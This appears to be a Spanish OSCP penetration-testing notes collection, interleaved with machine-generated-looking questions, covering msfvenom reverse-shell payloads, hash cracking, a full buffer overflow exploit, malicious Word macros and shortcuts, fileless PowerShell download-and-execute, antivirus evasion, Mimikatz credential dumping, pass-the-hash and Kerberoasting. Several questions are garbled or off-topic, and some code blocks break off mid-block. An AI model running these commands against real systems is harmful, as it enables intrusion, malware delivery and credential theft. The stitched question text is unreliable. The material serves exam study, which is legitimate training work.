## Recursos públicos donde sí está todo esto

| Recurso | Por qué importa |
|---|---|
| **TJ Null's OSCP-like list** (en Reddit) | Lista actualizada de máquinas HTB/THM equivalentes a OSCP |
| **ippsec.rocks** | Buscador de writeups por técnica ("kerberoasting" → te lista todas las máquinas HTB donde aparece) |
| **0xdf.gitlab.io** | Writeups detalladísimos con explicación pedagógica |
| **PayloadsAllTheThings** | Cheatsheet de todo lo web |
| **HackTricks (book.hacktricks.xyz)** | La biblia. Lo busques lo que busques está ahí |
| **GTFOBins / LOLBAS** | Para privesc Linux y LOLBins Windows |
| **/r/oscp** | Subreddit con experiencias de examinados (sin spoilers) |
| **Discord públicos**: HTB, TryHackMe, NetSecFocus | Comunidades activas que SÍ puedes consultar |

---

qué recursos online me recomiendan para aprender técnicas específicas de pentesting?


dónde puedo encontrar una lista actualizada de máquinas similares a las usadas en la certificación OSCP?


existe alguna comunidad o foro donde pueda consultar experiencias reales sin spoilers?


## Truco meta de meta-trucos

El truco real del OSCP no es saber 200 técnicas. Es **tener una metodología repetible**:

```
Enumeración exhaustiva → vector → foothold →
PrivEsc con script automatizado + revisión manual →
documentar antes de pasar a siguiente máquina
```

La gente suspende por **saltarse pasos** o por **obsesionarse con un vector**, no por desconocimiento técnico.

que metodo paso a paso sirve para hacer enumeracion exhaustiva en metodos repetibles


cual es una tecnica para automatizar el acceso inicial y la explotacion sin saltarme pasos esenciales


como puedo montar un flujo de trabajo con script para revisar manualmente las vulnerabilidades


# msfvenom

> El generador de payloads. Lo usas en Buffer Overflow, AV evasion, Client-side attacks, Exploits conocidos y con el handler de Metasploit.


cual es una herramienta para la evasión de antivirus


## Anatomía
```bash
msfvenom -p <payload> LHOST=TU_IP LPORT=443 -f <formato> -o salida [-b badchars] [-e encoder]
```

que herramienta me ayuda a generar payloads personalizados para pruebas de penetración?


con qué puedo crear un payload específico con una opción de codificador?


cual es el comando principal para construir vectores de ataque personalizados?


## Payloads frecuentes
```
windows/shell_reverse_tcp        shell normal (no necesita Metasploit para recibir → nc)
windows/meterpreter/reverse_tcp  meterpreter (recíbelo con multi/handler)
linux/x86/shell_reverse_tcp
windows/x64/shell_reverse_tcp    (x64)
```

qué herramienta me sirve para hacer una conexión shell reversa por TCP en Windows?


con qué puedo montar un handler sencillo sin Metasploit para recibir payloads?


qué programa es mejor para ejecutar shells de tipo reverse_tcp en Linux o Windows?


## Formatos (-f) según el caso
```
exe      ejecutable Windows          dll   DLL hijacking / Exploits conocidos
raw      shellcode crudo (B0F)       py    para tu script de Buffer Overflow
psh / powershell                     hta-psh   Client-side attacks
aspx / war / jsp                     webshells para upload
elf      ejecutable Linux
```

que herramienta sirve para analizar shellcode crudo


cual programa puedo usar para montar un ataque de DLL hijacking en Windows


con que puedo convertir mi script a formato binario para ejecutarlo en Linux


## Ejemplos
```bash
msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 -f exe -o rev.exe
msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d" -f py
msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 -f powershell -o sc.ps1   # → AV evasion
msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 -f hta-psh -o evil.hta
```
- Encoders (`-e x86/shikata_ga_nai`) ofuscan, **no** evaden AV moderno por sí solos → ver AV evasion.

Relacionado: Reverse shell · Metasploit · OSCP MOC

que programa sirve para crear un shell inverso de Windows?


con que puedo generar código de reversión con ofuscación?


cual es la herramienta para montar una conexión inversa en sistemas Windows?


conocimiento/08 - Avanzado/Cracking de contraseñas.md

# Cracking de contraseñas

> Generar wordlists y romper hashes/credenciales offline y online. Fuente: oscp.trastero.org/passwords.

que herramienta sirve para generar listas de contraseñas


con que puedo romper hashes de contraseñas sin conexión a internet


cual es un programa para atacar credenciales en línea y fuera de línea


## hashcat — los modos que importan
```
-m 0      MD5            -m 100   SHA1         -m 1000  NTLM
-m 1800   sha512crypt ($6$, /etc/shadow)
-m 5600   NetNTLMv2 (capturado con Responder → Client-side attacks)
-m 13100  Kerberoast TGS ($krb5tgs$)   → Kerberoasting
-m 18200  AS-REP ($krb5asrep$)         → AS-REP Roasting
-m 22000  WPA-PBKDF2     -m 13400  KeePass
```
```bash
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule
```

que herramientas hay para rogar contraseñas con NTLM?


con que puedo hacer un ataque de Kerberoasting?


cual es una alternativa libre a hashcat para salir en modo MD5?


## John the Ripper
```bash
unshadow /etc/passwd /etc/shadow > unshadowed
john --format=NT hashes.txt --wordlist=rockyou.txt
zip2john file.zip > z.hash ; rar2john ; ssh2john id_rsa ; keepass2john   # extractores
john --rules --wordlist=rockyou.txt z.hash
```

que programa sirve para probar contraseñas de archivos y bases de datos?


con que puedo extraer hashes de un zip y hacer pruebas de fuerza?


necesito una herramienta para romper contraseñas de sistemas Windows, cual me recomiendas?


## Wordlists a medida
```bash
cewl http://IP -m 6 -w custom.txt           # palabras de la propia web
crunch 8 8 -t @@@@%%%% -o crunch.txt          # patrones
```

¿Qué programa puedo usar para generar listas de palabras basadas en el contenido de una web?


Con qué herramienta creo listas de contraseñas con patrones específicos?


## Online (servicio en vivo)
```bash
hydra -L users.txt -P rockyou.txt ssh://IP   # ver Authentication attacks
medusa -h IP -u admin -P pass.txt -M smbnt
fcrackzip -u -D -p rockyou.txt secret.zip     # ZIP
crowbar -b rdp -s IP/32 -u admin -C pass.txt  # RDP
```

Relacionado: Authentication attacks · Kerberoasting · Pass-the-Hash · OSCP MOC

que programa sirve para ataques de autenticación remota en línea?


con qué puedo hacer pruebas de fuerza bruta a conexiones SSH, SMB y RDP?


cual es una herramienta para probar vulnerabilidades de contraseñas en servicios online


conocimiento/08 - Avanzado/Exploits conocidos.md

# Exploits conocidos (CVEs)

> Exploits públicos que aparecen una y otra vez. Localízalos con searchsploit y **léelos antes de lanzarlos**. Fuente: oscp.trastero.org/exploits.

qué programa sirve para localizar exploits públicos conocidos?


con qué puedo buscar exploits de vulnerabilidades recurrentes antes de usarlos?


cual es una herramienta para verificar exploits comunes en CVEs?


## Linux (privesc local)
```
CVE-2021-4034   PwnKit / pkexec (polkit)  → casi universal, sin dependencias
CVE-2021-3156   Baron Samedit (sudo)
CVE-2022-0847   Dirty Pipe (kernel ≥5.8)
CVE-2016-5195   Dirty COW (kernel viejo)
CVE-2012-0056   Mempodipper
```
Comprueba versión: `uname -a`, `sudo --version`, y mira Privesc Linux antes del kernel exploit.

qué programa sirve para hacer un ataque de elevación de privilegios en Linux sin instalar nada extra?


cómo puedo aprovechar las vulnerabilidades de pkexec o sudo contra una cuenta normal?


qué herramienta es útil para comprobar si el sistema está susceptible a exploits de Dirty Pipe o Dirty COW?


## Windows
```
MS17-010        EternalBlue (SMBv1)      → foothold remoto
PrintNightmare  CVE-2021-1675 / 34527    → privesc/RCE vía spooler
SpoolFool       CVE-2022-21999           → privesc spooler
HiveNightmare   CVE-2021-36934 (SeriousSAM) → lee SAM como user
```
Potato family (SeImpersonate) → ver Potato attacks.

qué herramienta sirve para explotar fallos de seguridad en el servidor de archivos SMB?


cómo puedo acceder al directorio del sistema usando exploits del spooler?


cual es una alternativa libre a las técnicas de ataques tipo EternalBlue o PrintNightmare?


## Compilar
```bash
gcc exploit.c -o exploit                              # Linux
x86_64-w64-mingw32-gcc evil.c -shared -o evil.dll     # DLL Windows (cross-compile)
i686-w64-mingw32-gcc evil.c -o evil.exe               # EXE 32-bit
```
Para shellcode listo: msfvenom `-f exe` / `-f dll`.

> ⚠ Hay PoCs falsos/maliciosos. Lee el código antes de ejecutar (searchsploit).

Relacionado: Privesc Windows · Privesc Linux · OSCP MOC

que programa sirve para compilar código C en diferentes sistemas operativos?


con que puedo generar shellcode listo para usar?


hay alguna herramienta para verificar si un código antes de ejecutarlo?


conocimiento/08 - Avanzado/Buffer Overflow.md

# Buffer Overflow (stack, 32-bit)

> El clásico stack BOF de Windows. En el OSCP actual pesa menos (el examen va más a AD), pero sigue cayendo. Metodología de 7 pasos. Fuente: oscp.trastero.org/b0f.
> Herramientas: **Immunity Debugger + mona.py**, `msf-pattern_create/offset`, `msfvenom`, `nc`.

que programa puedo usar para crear patrones de buffer overflow en 32 bits?


con que herramienta puedo generar payloads con el método de 7 pasos para exploits stack?


que alternativa libre hay para inyectar shellcode y buscar desbordamientos de pila?


### 1. Fuzzing — encontrar el crash
Script Python que envía buffers crecientes (+100 bytes) hasta que la app casca.

que programa en python sirve para probar si una app se cae con datos grandes?


con que puedo hacer fuzzing para ver cuando una aplicación deja de funcionar?


cual es un script de python para enviar buffers crecientes y encontrar errores?


### 2. Offset — posición exacta del EIP
```bash
msf-pattern_create -l 3000                 # mándalo como buffer
msf-pattern_offset -l 3000 -q 39694438     # el valor que quedó en EIP

que herramienta sirve para mostrar la posición exacta del puntero de ejecución (EIP)?


con qué puedo ver dónde queda guardado un patrón específico en memoria?


cual es una alternativa libre a offset para calcular el valor final de EIP?


# alternativa en mona:
!mona findmsp -distance 3000               # te da "EIP contains normal pattern ... offset XXXX"
```

cual es una herramienta para encontrar patrones normales dentro de direcciones IP?


que programa me sirve para detectar si una direccion contiene un patrón común?


con que puedo identificar offsets relacionados con direcciones IP en el contexto de EIP?


### 3. Controlar EIP — confirmar
Envía `"A"*offset + "BBBB"` → en el debugger **EIP = 42424242**. Control confirmado.

que herramienta sirve para controlar el puntero de ejecución en un depurador


con que puedo confirmar si una dirección específica se ha alcanzado durante una ejecución


### 4. Badchars — bytes que corrompen
```
!mona bytearray -b "\x00"        # genera \x01..\xff

que programa puedo usar para generar bytes de control como el nulo


hay alguna herramienta libre para crear una lista de bytes no imprimibles


# envías offset + "BBBB" + bytearray, y comparas en memoria (ESP):
!mona compare -f C:\mona\app\bytearray.bin -a <ESP>
```
Quita los corruptos (típico: `\x00`, a veces `\x0a \x0d`) y repite hasta "unmodified".

¿con qué puedo comparar dos archivos en memoria para verificar si están modificados?


¿qué herramienta sirve para detectar bytes corruptos como nulos o saltos de línea dentro del sistema?


cual es una alternativa libre a mona compare?


### 5. JMP ESP — la dirección de retorno
```
!mona jmp -r esp -cpb "\x00\x0a\x0d"     # busca un JMP ESP sin badchars

que herramienta sirve para generar instrucciones de salto a la dirección de retorno en exploits?


cual programa me ayuda a crear saltos JMP ESP evitando caracteres malos?


como puedo montar un JMP ESP que no contenga badchars con una utilidad?


# alternativa: objdump -d vuln.exe | grep -i 'jmp.*esp'
```
Apunta la dirección **en little-endian** (ej. `0x625011AF` → `\xAF\x11\x50\x62`).

con qué programa puedo analizar un ejecutable y ver cómo se ven las direcciones en Little Endian?


qué herramienta sirve para desmontar código binario y leer saltos hacia la pila?


cuál es una alternativa libre a objdump para inspeccionar archivos ejecutables?


### 6. Shellcode con msfvenom
```bash
msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 EXITFUNC=thread \
  -b "\x00\x0a\x0d" -f py -v shellcode

que programa puedo usar para generar código shell en Windows?


cual es una alternativa libre a los generadores de payloads de metasploit?


como monto un reverse TCP con shellcode en python?


### 7. Exploit final
```
buffer = prefix + b"A"*offset + jmp_esp + b"\x90"*16 + shellcode
```
Levanta `nc -lvnp 443` (Reverse shell) y lanza. NOP sled (`\x90`*16) da margen al decoder.

Relacionado: Metasploit · Reverse shell · Exploits conocidos · OSCP MOC

que herramienta sirve para ejecutar un reverse shell en Python?


con que puedo levantar una conexión inversa sin usar Metasploit?


cual es una alternativa libre a los exploits de Metasploit?


conocimiento/08 - Avanzado/Client-side attacks.md

# Client-side attacks

> Atacas a un **usuario** (que abre un documento/enlace), no a un servicio. Fuente: oscp.trastero.org/clientside.

con que puedo atacar a un usuario que abre un enlace?


que tecnica sirve para realizar ataques al lado del cliente?


cual es una herramienta para atacar usuarios sin necesidad de servir el contenido?


## Macro de Word (VBA)
```bash
msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 -f hta-psh -o evil.hta   # → msfvenom
python3 split.py     # parte el payload codificado en trozos de 50 chars para el VBA
```
- VBA con `Sub AutoOpen()` y `Sub Document_Open()` que reconstruye y ejecuta el PowerShell.
- **Guardar como "Documento de Word 97-2003" (.doc)** para que conserve la macro.
- Verificar: `olevba evil.doc`.

que programa puedo usar para crear macros en Word que ejecuten código PowerShell?


cómo montoy un archivo Word que contenga una macro que corra código remoto?


cual es la manera de generar y guardar macros de VBA con scripts complejos?


## Acceso directo malicioso (.url / .lnk)
```ini
[InternetShortcut]
URL=file://TU_IP
IconFile=\\TU_IP\SERVER\%USERNAME%.icon
IconIndex=1
```
- El `IconFile` con ruta **UNC** fuerza al cliente a autenticar contra tu SMB → **capturas su hash NetNTLMv2**.
```bash
impacket-smbserver -smb2support SERVER $(pwd)   # o Responder → Herramientas (índice)
```
- El hash capturado → Cracking de contraseñas (`hashcat -m 5600`) o relay.

Relacionado: AV evasion · Cracking de contraseñas · Authentication attacks · OSCP MOC

que herramienta sirve para capturar hashes NetNTLMv2 con un acceso directo malicioso


con que programa puedo hacer el cruce de contraseñas con los hash capturados en una atacada SMB


cuales son las herramientas para realizar ataques de relé de autenticación


# Tunneling y port forwarding

> Reenviar puertos y montar proxies para alcanzar redes internas. Alternativas a Pivoting ligolo-ng. Fuente: oscp.trastero.org/tunneling.

que programa sirve para reenviar puertos y montar proxies?


con que puedo acceder a redes internas desde fuera de forma segura?


cual es una alternativa libre a las herramientas de pivoteo como ligolo-ng?


## SSH (el más portable)
```bash
ssh -L 8080:127.0.0.1:80 user@pivot       # LOCAL: tu :8080 → servicio interno
ssh -R 3390:127.0.0.1:3389 user@kali      # REMOTE: expone el RDP del pivot en tu :3390
ssh -D 1080 user@pivot                     # DYNAMIC: proxy SOCKS en tu :1080

con qué puedo hacer un proxy SSH local para acceder a servicios internos


cómo exponer un servicio remoto como RDP a través de mi red usando SSH


qué comando SSH crea un proxy SOCKS dinámico para navegar


## socat (redirección simple)
```bash
socat TCP-LISTEN:8080,fork TCP:192.168.5.10:80
```

qué herramienta sirve para redirigir el puerto 80 a otra dirección


con qué puedo montar una redirección simple de puertos


cual es la alternativa libre para hacer un proxy TCP básico


## Plink (SSH desde Windows)
```cmd
plink.exe -R 3390:127.0.0.1:3389 user@TU_IP
```

¿qué programa puedo usar para hacer SSH desde Windows?


¿hay alguna herramienta que permita conectarse por RDP a través de SSH en Windows?


## sshuttle (VPN improvisada, lo más cómodo)
```bash
sshuttle -r user@pivot 192.168.5.0/24 --dns
```

¿Qué programa improvisa una VPN de forma cómoda?


Con qué puedo montar un túnel VPN simple usando SSH?


¿Cuál es una alternativa libre y cómoda para crear una VPN?


## Windows nativo — netsh portproxy
```cmd
netsh interface portproxy add v4tov4 listenport=8080 connectaddress=192.168.5.10 connectport=80
```

que programa hay para cambiar puertos de entrada en Windows sin instalar nada extra?


con que puedo redirigir el tráfico del puerto 80 a otro equipo local usando solo las herramientas de Windows?


cual es una alternativa gratuita y nativa para configurar redirecciones de puerto en redes locales?


## proxychains
- `proxychains nmap -sT -Pn IP` → usa `-sT` (TCP connect): el SYN scan **no** pasa por el proxy. Ver Nmap NSE.

Relacionado: Pivoting ligolo-ng · Movimiento lateral · Puesto de mando Kali · OSCP MOC

que programa me sirve para hacer un escaneo de puertos que pase por mis proxies?


con que puedo ejecutar un nmap a través de una cadena de proxies sin que el puerto 80 se vea como destino?


# Metasploit

> ⚠ **En el examen: solo en UNA máquina, y solo el foothold inicial cuenta como "uso"** (la post-explotación con meterpreter no cuenta). Ver Reglas de herramientas. Fuente: oscp.trastero.org/metasploit.

que herramienta sirve para realizar un uso de foothold en una sola máquina durante el examen?


con que puedo hacer la post-explotación sin contar como uso según las reglas del oscp?


## Básico
```
msfconsole -q
search <servicio/cve>
use exploit/...
show options ; set RHOSTS IP ; set LHOST TU_IP ; run
```

qué programa sirve para buscar vulnerabilidades en un servidor específico?


con qué herramienta puedo configurar una prueba de penetración básica?


## multi/handler (recibir un payload de msfvenom)
```
use exploit/multi/handler
set payload windows/shell_reverse_tcp     # o windows/meterpreter/reverse_tcp
set LHOST TU_IP ; set LPORT 443 ; run
```

que programa puedo usar para recibir un payload de Metasploit en Windows?


cual es la herramienta que sirve para capturar conexiones reversas con msfvenom?


como montar una shell reverse tcp para Windows sin usar metasploit?


## Meterpreter (post-explotación)
```
getuid          # quién soy
getsystem       # intento de privesc a SYSTEM
hashdump        # vuelca hashes SAM  → Cracking de contraseñas / Pass-the-Hash
ps ; migrate 799   # migrar a otro proceso
background ; sessions -i 1
```

que programa sirve para volcar los hashes del sistema?


con que puedo intentar elevar mis privilegios al nivel SYSTEM?


existe alguna herramienta para mover una sesión de un proceso a otro?


# Ctrl+Z para mandar la shell a background, luego:
use post/multi/manage/shell_to_meterpreter
set SESSION 1 ; run
sessions -i 2
```

¿Qué herramienta puedo usar para meterme en una shell remota con Metasploit?


¿Cómo puedo ejecutar una sesión de shell en segundo plano desde la terminal?


## Pivoting con Metasploit
```
use post/multi/manage/autoroute
set SESSION 1 ; set SUBNET 192.168.5.0 ; run
use auxiliary/server/socks_proxy ; run    # + proxychains → Tunneling
portfwd add -l 3389 -p 3389 -r 192.168.5.10
```

Relacionado: Buffer Overflow · Reverse shell · Reglas de herramientas · OSCP MOC

que programa puedo usar para activar un servidor SOCKS con proxychains?


cual es una alternativa libre a los comandos de Metasploit para configurar la ruta de red?


como monto un tunnel de tunelizacion con herramientas de pentesting?


conocimiento/08 - Avanzado/AV evasion.md

# AV evasion

> Cuando hay antivirus y tu payload muere al tocar disco. Fuente: oscp.trastero.org/avevasion.

que programa sirve para esquivar el antivirus tocando disco?


como puedo montar un payload que sobreviva si hay antivirus instalado?


cual es una tecnica para evitar que el antivirus detecte mi archivo al abrirlo?


## PowerShell en memoria (no toca disco)
```powershell
IEX (New-Object Net.WebClient).DownloadString('http://TU_IP/rev.ps1')   # fileless
powershell -ExecutionPolicy Bypass -File evasion.ps1
powershell -encodedCommand JABjAG8AZABl...    # comando en base64 (UTF-16LE)
```

que programa sirve para ejecutar comandos sin tocar disco


con que puedo correr un script de PowerShell desde la memoria sin guardar archivos


cual es una alternativa libre a los scripts de PowerShell en base64


## Generar y ofuscar
```bash
msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 -f powershell -o sc.ps1   # → msfvenom
python3 ps_encoder.py -s evasion.ps1        # darkoperator/Invoke-Obfuscation
./chimera.sh -f evasion.ps1 -l 1,2,3 -o out.ps1   # Chimera: ofusca strings/variables
```

que programa hay para generar y ofuscar scripts de PowerShell?


con que puedo crear un inversor para obfuscar comandos en Windows?


cual es una alternativa libre a los generadores de shells reversas?


## Inyección directa (P/Invoke)
Script PS que reserva memoria con **VirtualAlloc**, copia el shellcode y lanza **CreateThread** → ejecuta sin escribir un .exe al disco (evade el escaneo on-write).

que programa puedo usar para reservar memoria en Windows sin crear un archivo ejecutable?


con que herramienta puedo ejecutar código directamente en el sistema operativo sin generar un archivo?


cual es una alternativa a los scripts PS para manejar VirtualAlloc y CreateThread sin escribir un .exe?


## Otras tools
- **Shellter** (inyecta en un .exe legítimo), **Veil**, **Nim/C# loaders**.
- **UPX** para empaquetar y cambiar la firma: `upx -9 rev.exe`.

> Nota OSCP: la evasión de AV está permitida (no es un escáner de vulns prohibido → Reglas de herramientas); rara vez hace falta en el examen, pero alguna máquina la pide.

Relacionado: Client-side attacks · msfvenom · Reverse shell · OSCP MOC

qué programa inyecta código en un .exe legítimo para evadir antivirus?


con qué puedo empaquetar y cambiar la firma de un archivo ejecutable?


qué herramientas sirven para crear loaders personalizados con Nim o C#?


conocimiento/05 - Active Directory/BloodHound.md

# BloodHound

> Dibuja Active Directory **como un grafo**: nodos = usuarios/grupos/máquinas, aristas = relaciones. Le preguntas "¿camino más corto de juan a Domain Admins?" y te lo pinta. La única tool con GUI propia.

que programa puedo usar para dibujar el grafo de Active Directory con interfaz gráfica


existe alguna herramienta que me permita visualizar las relaciones entre usuarios, grupos y máquinas en dominio como un mapa interactivo?


cual es la mejor opcion libre para representar Active Directory visualmente conectando nodos y aristas?


## Componentes
```
SharpHound (.exe en víctima)  o  bloodhound-python (en Kali)  →  JSON
JSON  →  BloodHound GUI (en Kali)  +  Neo4j (la BD del grafo)
```

qué herramienta es mejor para analizar conexiones entre usuarios en una víctima


con qué puedo convertir los datos de un análisis de credenciales a un formato JSON visualizable


## Instalación (Debian)
```bash
sudo apt install -y bloodhound bloodhound.py neo4j
sudo systemctl start neo4j
sudo neo4j-admin set-initial-password 'BloodHound1!'
```

qué programa puedo usar para mapear los permisos de dominio y encontrar usuarios con privilegios elevados?


con qué herramienta puedo analizar la actividad del administrador de dominios en Windows?


cual es una alternativa libre a BloodHound para investigar las relaciones de confianza entre dispositivos?


# 1) recolectar desde Kali (necesitas creds válidas)
bloodhound-python -u juan -p 'Password1' -d corp.local -ns 10.10.10.10 -c All

que programa sirve para recopilar credenciales de usuario y contraseña en una red local?


con que puedo extraer información de usuarios si ya tengo acceso a la máquina?


hay alguna herramienta para mapear las relaciones entre cuentas de usuario en un dominio?


## Queries que importan
- **Find Shortest Paths to Domain Admins**
- **Find Kerberoastable Accounts** → Kerberoasting
- **Find AS-REP Roastable Users** → AS-REP Roasting
- Aristas peligrosas (`GenericAll`, `WriteDACL`, `ForceChangePassword`) → ACL abuses

Relacionado: Mimikatz · Movimiento lateral · OSCP MOC

¿Qué herramienta me ayuda a encontrar usuarios con derechos de Administrador de dominio?


¿Con qué puedo identificar cuentas susceptibles al Kerberoasting?


¿Cuál es una técnica para detectar usuarios roqueables mediante AS-REP?


conocimiento/05 - Active Directory/Mimikatz.md

# Mimikatz

> Un **.exe que corre DENTRO de la víctima Windows** (no en Kali). Lee la memoria de **LSASS** y vuelca credenciales. En `tu carpeta`.

que herramienta sirve para leer las credenciales desde el proceso LSASS


con que programa puedo extraer usuarios y contraseñas de la memoria de Windows


## Subir y ejecutar
```powershell
iwr http://TU_IP/mimikatz/x64/mimikatz.exe -OutFile C:\Windows\Temp\m.exe   # Transferencia de ficheros
C:\Windows\Temp\m.exe
```

que programa hay para subir y ejecutar archivos desde una IP?


cual es una tecnica para transferir y correr ejecutables a Windows con PowerShell?


como monto un proceso en la carpeta de temp usando comandos de linea?


## Comandos clave (dentro de mimikatz)
```
privilege::debug                         # imprescindible primero
sekurlsa::logonpasswords                 # hashes NTLM, tickets, a veces pass en claro (wdigest)
lsadump::sam                             # SAM local
lsadump::dcsync /user:Administrator      # DCSync (si tienes permisos de replicación)
```

con que puedo extraer contraseñas NTLM desde un equipo?


cual es una alternativa libre a mimikatz para obtener hashes?


que herramienta sirve para descargar la base de datos SAM local?


## Después
- Hash NTLM → Pass-the-Hash / Impacket → Movimiento lateral.
- Pregúntale a BloodHound qué hacer con ese usuario.

Relacionado: Kerberos · secretsdump · OSCP MOC

que herramienta puedo usar para realizar un movimiento lateral basado en un hash NTLM?


cual es el programa mejor para analizar las credenciales de un usuario y ver qué puedo hacer con ellas?


conocimiento/05 - Active Directory/Movimiento lateral.md

# Movimiento lateral

> Saltar de una máquina a otra con credenciales/hashes obtenidos. Paso 5-6 de la cadena de Active Directory.

que tecnica sirve para saltar de una maquina a otra usando credenciales?


como muevo un usuario entre diferentes dominios de Active Directory?


cual es el paso siguiente tras obtener los hashes en Active Directory?


## Con qué saltas
```bash
impacket-psexec  dominio/user:pass@10.10.10.20      # shell SYSTEM
impacket-wmiexec dominio/user:pass@10.10.10.20      # sin tocar disco
impacket-psexec  -hashes :NTLMHASH user@10.10.10.20 # Pass-the-Hash
nxc smb 10.10.10.0/24 -u user -p pass               # ¿dónde valen estas creds?
xfreerdp /u:user /p:pass /v:10.10.10.20             # RDP si hay GUI
evil-winrm -i 10.10.10.20 -u user -p pass           # WinRM (5985)
```

con qué puedo ejecutar comandos remotos en Windows usando credenciales de administrador?


hay alguna herramienta para acceder a una máquina vía RDP si no tengo permisos de ejecución de disco?


qué alternativas libre hay para realizar ataques de Pass-the-Hash o WMI en Windows?


## Regla clave
**Reutiliza credenciales**: cada pass/hash que pillas → pruébalo contra **todos** los hosts y servicios (Metodología OSCP).

¿Qué herramienta sirve para reutilizar credenciales en múltiples servidores?


Con qué puedo probar un usuario y contraseña en todos mis hosts de la vez?


¿Cómo hago el método de pruebas masivas de credenciales usado en ofensivas?


## Decidir a dónde
- BloodHound te dice qué usuario es admin dónde y el camino a Domain Admin.
- Si llegas al DC → secretsdump / DCSync → Golden Ticket.
- Red interna no enrutable → Pivoting ligolo-ng.

Relacionado: Impacket · Mimikatz · OSCP MOC

que herramienta puedo usar para descubrir qué usuarios tienen permisos de administrador en un dominio?


cual programa me sirve para intentar obtener acceso al controlador de dominio y robar credenciales?


conocimiento/05 - Active Directory/AS-REP Roasting.md

# AS-REP Roasting

> Usuarios con **"Do not require Kerberos pre-authentication"** → pides su AS-REP y crackeas el hash, **sin necesitar credenciales**. Camino de Active Directory.

que programa me permite robar las respuestas de autenticación de Active Directory sin pedir credenciales?


con que herramienta puedo obtener la información de autenticación pre-authentication en un dominio?


cual es una alternativa para capturar los hashes de AS-REP y crackearlos sin usar Kerberos?


# con lista de usuarios (sesión nula / enum previa con SMB):
impacket-GetNPUsers dominio/ -usersfile users.txt -no-pass -dc-ip IP

qué herramienta me permite obtener una lista de usuarios en un dominio usando SMB?


con qué programa puedo enumerar los usuarios previos o con sesión nula a través del protocolo SMB?


existe alguna alternativa libre para listar usuarios de dominio mediante el comando GetNPUsers?


# con credenciales (enumera y pide a la vez):
impacket-GetNPUsers dominio/usuario:password -request -dc-ip IP
```

con que puedo obtener los usuarios de un dominio si tengo las credenciales?


cual es una herramienta para listar usuarios en red con usuario y contraseña?


que programa me sirve para sacar la lista de usuarios de un dominio?


## Diferencia con Kerberoasting
- **AS-REP** = usuarios SIN pre-auth → **no necesitas password** para pedir el hash.
- **Kerberoasting** = cuentas de servicio (SPN) → necesitas una credencial válida.

Relacionado: Cracking de contraseñas · Kerberoasting · Kerberos · Impacket · OSCP MOC

que programa sirve para robar contraseñas sin pedirlas?


con que puedo hacer cracking de hashes de cuentas de servicio?


cual es la diferencia entre AS-REP y Kerberoasting en herramientas


conocimiento/05 - Active Directory/Pass-the-Hash.md

# Pass-the-Hash

> Te autenticas con el **hash NTLM** sin conocer la contraseña en claro. La base del Movimiento lateral en AD.

que herramienta sirve para autentica con un hash NTLM sin la contraseña


cual es una tecnica para hacer movimiento lateral en Active Directory usando el hash


con que programa puedo autenticarme sin conocer la clave de usuario


## De dónde sale el hash
- Mimikatz `sekurlsa::logonpasswords`
- secretsdump (SAM/NTDS)
- `lsadump::sam`

qué herramienta sirve para extraer contraseñas del registro de Windows?


con qué puedo obtener las contraseñas guardadas en el SAM y NTDS?


cuál es una alternativa libre a mimikatz para recuperar hashes?


## Uso
```bash
impacket-psexec  -hashes :NTLMHASH 'admin@10.10.10.20'   # → SYSTEM
impacket-wmiexec -hashes :NTLMHASH 'admin@10.10.10.20'
nxc smb 10.10.10.0/24 -u admin -H NTLMHASH               # spray del hash por la red
```

que herramienta puedo usar para ejecutar comandos con un hash de NTLM?


con que programa puedo hacer un spray de hashes por una red?


cual es una alternativa libre a psexec y wmiexec?


## Combos
- **Reutilización**: prueba el hash/usuario contra **todos** los hosts (Metodología OSCP).
- Password spraying: la misma pass de un user normal contra `administrator`, `sa`...
- Hash de krbtgt → ya no es PtH, es Golden Ticket.

Relacionado: Impacket · Movimiento lateral · OSCP MOC

que herramienta sirve para probar el hash o usuario contra todos los hosts como en la metodología OSCP?


con que puedo hacer un ataque de spray de contraseñas usando credenciales normales?


cual es una alternativa libre a Impacket para generar tickets golden?


conocimiento/05 - Active Directory/Pivoting ligolo-ng.md

# Pivoting (ligolo-ng)

> Entrar en una **red interna** no enrutable desde Kali, a través de una máquina comprometida. En `tu carpeta`.

que programa hay para entrar en redes internas no enrutables desde una máquina comprometida?


cual es la tecnica o herramienta para pivotear tráfico desde un host ya controlado?


## El concepto
```
KALI 10.10.10.5 ── túnel ──> USER1 10.10.10.50 ── llega a ──> 192.168.5.0/24 (DC interno)
```
- **proxy** corre en Kali, **agent** en la víctima.
- Añades una ruta y las tools tiran por el túnel **transparentemente**.

con qué puedo crear un túnel proxy transparente para acceder a redes internas desde mi máquina de pruebas?


existe alguna herramienta que me permita dirigir mis análisis sin necesidad de configurar manualmente las rutas del objetivo?


cómo funciona una arquitectura tipo agente para realizar pruebas de penetración en servidores corporativos remotos?


# Kali (proxy):
sudo ip tuntap add user $USER mode tun ligolo && sudo ip link set ligolo up
./proxy -selfcert

que programa puedo usar para crear un proxy SOCKS5 sin certificado?


## Resultado
```bash
impacket-psexec admin@192.168.5.10   # el tráfico va por el túnel, transparente
```
Ahora Movimiento lateral y Active Directory funcionan contra la red interna.

Relacionado: Puesto de mando Kali · OSCP MOC

que herramienta puedo usar para ejecutar comandos remotos desde un puerto remoto en mi red interna


con qué programa puedo moverme lateralmente dentro del Active Directory sin levantar alarmas


cual es una alternativa libre a impacket-psexec para hacer movimiento lateral


conocimiento/05 - Active Directory/Kerberoasting.md

# Kerberoasting

> Pides el **TGS** de cuentas de servicio (las que tienen **SPN**) y crackeas su hash offline. Uno de los 7 caminos de Active Directory.

que tecnica sirve para obtener hashes de cuentas de servicio?


con que puedo robar credenciales de servicios activos directorio?


cual es una alternativa libre a Kerberoasting para cracar hashes?


## Ataque
```bash
impacket-GetUserSPNs dominio/usuario:password -dc-ip IP -request

que programa puedo usar para recuperar los Service Principals de un usuario en una red


cual es una alternativa libre a impacket para obtener SPNs


con que herramienta puedo ejecutar comandos bash directamente como root o con permisos elevados


## Por qué funciona
